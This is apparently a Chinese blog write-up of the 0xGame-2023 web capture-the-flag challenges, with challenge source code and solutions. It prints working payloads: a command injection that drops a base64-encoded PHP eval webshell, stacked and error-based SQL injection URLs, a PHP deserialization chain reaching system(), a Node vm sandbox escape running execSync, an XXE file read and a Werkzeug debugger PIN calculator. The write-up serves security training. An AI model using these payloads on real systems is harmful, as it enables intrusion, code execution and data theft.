0xGame-2023

[Week 1] signin

F12查看源码,main.js文件里有flag
1

[Week 1] baby_php

<?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $c = $_POST['c'];
    $name = $_COOKIE['name'];

    if ($a != $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
            include($name.'.php');
        }
    }
}
?>

先进行数组绕过a,b。name可以使用php伪协议进行读取php://filter/convert.base64-encode/resource=flag

if (!is_numeric($c) && $c != 1024 && intval($c) == 1024)

c传入1024.1a即可绕过。

[Week 1] hello_http

问你啥你写啥就行了。。。

[Week 1] ping

1
是一个ping题目,查看源码
/api.php?source
1

<?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {//就是辨别ip地址十进制是否合法
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

重点是ip传入的值
2
也可以使用ip=127.0.0.1|ls``ip=127.0.0.10000||ls
1
由于过滤的有内容,空格可使用${IFS}代替,使用base64编码写入一句话木马

echo${IFS}PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2N0ZiddKTsgPz4=|base64${IFS}-d>>513.php

连接蚁剑拿到flag。
1

[Week 2] ez_sqli

知识点:SQL注入(堆叠注入、报错注入、预处理)
提示:
1
查看禁用函数,fuzz一下,发现以下字符被过滤。
1

MySQL的SQL预处理(Prepared)
SQL注入实战之报错注入篇(updatexml extractvalue floor)

借一位师傅的脚本

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C646174616261736528292929;prepare/**/aaa/**/from @c;execute/**/aaa;

select extractvalue(1,concat(0x7e,0x7e,(SELECT Group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')));


http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2853454C4543542047726F75705F636F6E636174287461626C655F6E616D65292046524F4D20696E666F726D6174696F6E5F736368656D612E7461626C6573205748455245207461626C655F736368656D61203D2027637466272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

MySQLdb.OperationalError: (1105, "XPATH syntax error: '~~flag,userinfo'")



select hex("select extractvalue(1,concat(0x7e,0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag')));");


http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D276374662720616E64207461626C655F6E616D653D27666C6167272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

(select group_concat(first_name,0x7e,last_name) from dvwa.users))

hex("select extractvalue(1,concat(0x7e,0x7e,(select flag from ctf.flag)));");

hex("select extractvalue(1,concat(0x7e,0x7e,substr((select flag from ctf.flag),29,30)));");

0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C737562737472282873656C65637420666C61672066726F6D206374662E666C6167292C32392C33302929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

[Week 2] ez_unserialize

考点:php反序列化pop链构造、wakeup的绕过。
不会,看的官方wp。。。
提示
贴上源码:

<?php

show_source(__FILE__);

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
?>

首先找到入口__destruct(),在DataObject 类里

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

这里会遍历data的内容,将key和value赋值给storage,触发 Storage 的 __set 方法

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

这里如果$store为空,那么就初始化一个空的array(),下一个if语句就是调用value的expire方法,如果返回false就将value放入store中。

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

在Cache类中expired方法会判断内部的expired属性是否为true,如果是,则会调用helper的clean方法,而clean发方法不存在,实际上就是调用__call方法

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

这里__call会按照传入的name从func数组中去除对应的函数名,然后将args作为参数来调用这个函数,这里就是存在getshell的地方。
如果要到达最后的__call方法,需要让Cache类中的expired属性为true,但是Cache中会先触发wakeup方法,这就使得expired为false,需要先绕过wakeup方法
原来有个新生赛就有这个知识点,使用php引用的概念

$a=123;
$b=&$a;

这个时候b的值就等于a的值,b的值一旦改变,a的值也会跟着改变。a和b指向相同的内存地址

我们可以让expired属性成为某个变量的引用,这样即使现在expired属性值为false,但是后面的过程中一旦改变引用变量的值,expired 属性值也会被改变,只要值不是null,就会绕过if判断。

<?php

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
}

class Storage {
    public $store;
}

class Helper {
    public $funcs;
}

class DataObject {
    public $storage;
    public $data;
}

$helper = new Helper();
$helper->funcs = array('clean' => 'system');

$cache1 = new Cache();
$cache1->expired = False;

$cache2 = new Cache();
$cache2->helper = $helper;
$cache2->key = 'id';

$storage = new Storage();
$storage->store = &$cache2->expired;

$dataObject = new DataObject();
$dataObject->data = array('key1' => $cache1, 'key2' => $cache2);
$dataObject->storage = $storage;

echo serialize($dataObject);
?>

首先往DataObject的data里传入两个实例,其中传入的cache2指定了helper,key值设置为要执行的命令,helper的clean()(实际上是__call的funcs数组)放入了system命令执行函数,然后让Storge的store属性成为cache2 expired 属性的引用

这样, 在反序列化时, 首先会调用两个 Cache 的 __wakeup 方法, 将各自的 expired 设置为 False
然后调用 dataObject 的 __destruct 方法, 从而调用 Storage 的 __set 方法
Storage 首先将 store (即 cache1 的 expired 属性) 初始化为一个空数组, 然后存入 cache1
此时, store 不为空, 那么也就是说 cache1 的 expired 属性不为空
然后来到 cache2, storage 的 __set 方法调用它的 expired 方法, 进入 if 判断
因为此时 cache2 的 expired 字段, 也就是上面的 store, 已经被设置成了一个数组, 并且数组中存在 cache1 (不为空), 因此这里 if 表达式的结果为 True
最后进入 helper 的 clean 方法, 执行 system(‘id’); 实现 RCE

[Week 2] ez_sandbox

考点:JavaScript 原型链污染绕过、vm 沙箱逃逸

#app.js



const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})
app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

在这里每一次请求都会删除prototype值

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

其实看到这就会想到是原型链污染,__proto__被过滤了,但是可以使用constructor.prototype来绕过过滤
先注册一个test用户, 在登录时 POST 如下内容, 污染admins对象, 使得username in admins表达式的结果为 True

{
    "username": "test",
    "password": "test",
    "constructor": {
        "prototype": {
            "test": "123"
        }
    }
}

456

1

然后就是vm沙箱逃逸
参考链接沙箱逃逸初识

//方法一:
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))();
            return p['mainM'+'odule']['requ'+'ire']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
        }
    })

//方法二:
let obj = {} 
obj.__defineGetter__('message', function(){
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj

[Week 3]rss_parser

考点:XXE漏洞、计算pin码。
1
这里让我们输入url,看到xml文件可以想到可能会出现XXE漏洞,看一下源码:

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')

        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

        result = {}

        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')

        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []

        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]

        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

其他地方没有找到可疑的。

tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

465
etree.parse解析xml数据,可能会出现漏洞。
在自己服务器上创建一个xml文件index.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>https://exp10it.cn/</link>
<item>
<title>test</title>
<link>https://exp10it.cn/</link>
</item>
</channel>
</rss>

然后开启一个http服务
靶机访问该文件,发现成功读取到/etc/passwd文件。
1
由于可以进行任意文件读取,而且还是python搭建的网站,直接读取文件计算pin码。

计算pin码

计算pin码所需条件

  • username 在可以任意文件读的条件下读 /etc/passwd进行猜测
  • modname 默认flask.app
  • appname 默认Flask
  • moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
  • uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
  • machine_id 机器码 #linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup

读取完对应值后填入相应脚本计算pin码

import hashlib
from itertools import chain

probably_public_bits = [
    'app'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485378088962',  # /sys/class/net/eth0/address 十进制
    'fd3e34a4-6949-4575-83ed-79944fc5e148'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

得到pin码,填入后开始命令执行。
465

[week3] GoShop

考点:整数溢出
既然是复现,那就不要为了做题而做题,着重学习这道题的考点。

这道题就是让我们来买flag,价格为999999999,涉及到数字大的,那考点在这里的概率就很大。
1

package main

import (
	"crypto/rand"
	"embed"
	"fmt"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
	"html/template"
	"net/http"
	"os"
	"strconv"
)

type User struct {
	Id    string
	Money int64
	Items map[string]int64
}

type Product struct {
	Name  string
	Price int64
}

var users map[string]*User

var products []*Product

//go:embed public
var fs embed.FS

func init() {
	users = make(map[string]*User)
	products = []*Product{
		{Name: "Apple", Price: 10},
		{Name: "Banana", Price: 50},
		{Name: "Orange", Price: 100},
		{Name: "Flag", Price: 999999999},
	}
}

func IndexHandler(c *gin.Context) {
	c.HTML(200, "index.html", gin.H{})
}

func InfoHandler(c *gin.Context) {
	s := sessions.Default(c)

	if s.Get("id") == nil {
		u := uuid.New().String()
		users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
		s.Set("id", u)
		s.Save()
	}

	user := users[s.Get("id").(string)]
	c.JSON(200, gin.H{
		"user": user,
	})
}

func ResetHandler(c *gin.Context) {
	s := sessions.Default(c)
	s.Clear()

	u := uuid.New().String()
	users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
	s.Set("id", u)
	s.Save()

	c.JSON(200, gin.H{
		"message": "Reset success",
	})
}

func BuyHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)

	var product *Product

	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}

	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}

	n, _ := strconv.Atoi(data["num"].(string))

	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}

	if user.Money >= product.Price*int64(n) {
		user.Money -= product.Price * int64(n)
		user.Items[product.Name] += int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough money",
		})
	}
}

func SellHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)

	var product *Product

	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}

	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}

	count := user.Items[data["name"].(string)]
	n, _ := strconv.Atoi(data["num"].(string))

	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}

	if count >= int64(n) {
		user.Money += product.Price * int64(n)
		user.Items[product.Name] -= int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Sell %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough product",
		})
	}
}

func FlagHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	v, ok := user.Items["Flag"]
	if !ok || v <= 0 {
		c.JSON(200, gin.H{
			"message": "You must buy <code>flag</code> first",
		})
		return
	}

	flag, _ := os.ReadFile("/flag")
	c.JSON(200, gin.H{
		"message": fmt.Sprintf("Here is your flag: <code>%s</code>", string(flag)),
	})
}

func main() {
	secret := make([]byte, 16)
	rand.Read(secret)

	tpl, _ := template.ParseFS(fs, "public/index.html")
	store := cookie.NewStore(secret)

	r := gin.Default()
	r.SetHTMLTemplate(tpl)
	r.Use(sessions.Sessions("gosession", store))

	r.GET("/", IndexHandler)

	api := r.Group("/api")
	{
		api.GET("/info", InfoHandler)
		api.POST("/buy", BuyHandler)
		api.POST("/sell", SellHandler)
		api.GET("/flag", FlagHandler)
		api.GET("/reset", ResetHandler)
	}

	r.StaticFileFS("/static/main.js", "public/main.js", http.FS(fs))
	r.StaticFileFS("/static/simple.css", "public/simple.css", http.FS(fs))

	r.Run(":8000")
}

官方wp介绍:

132

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信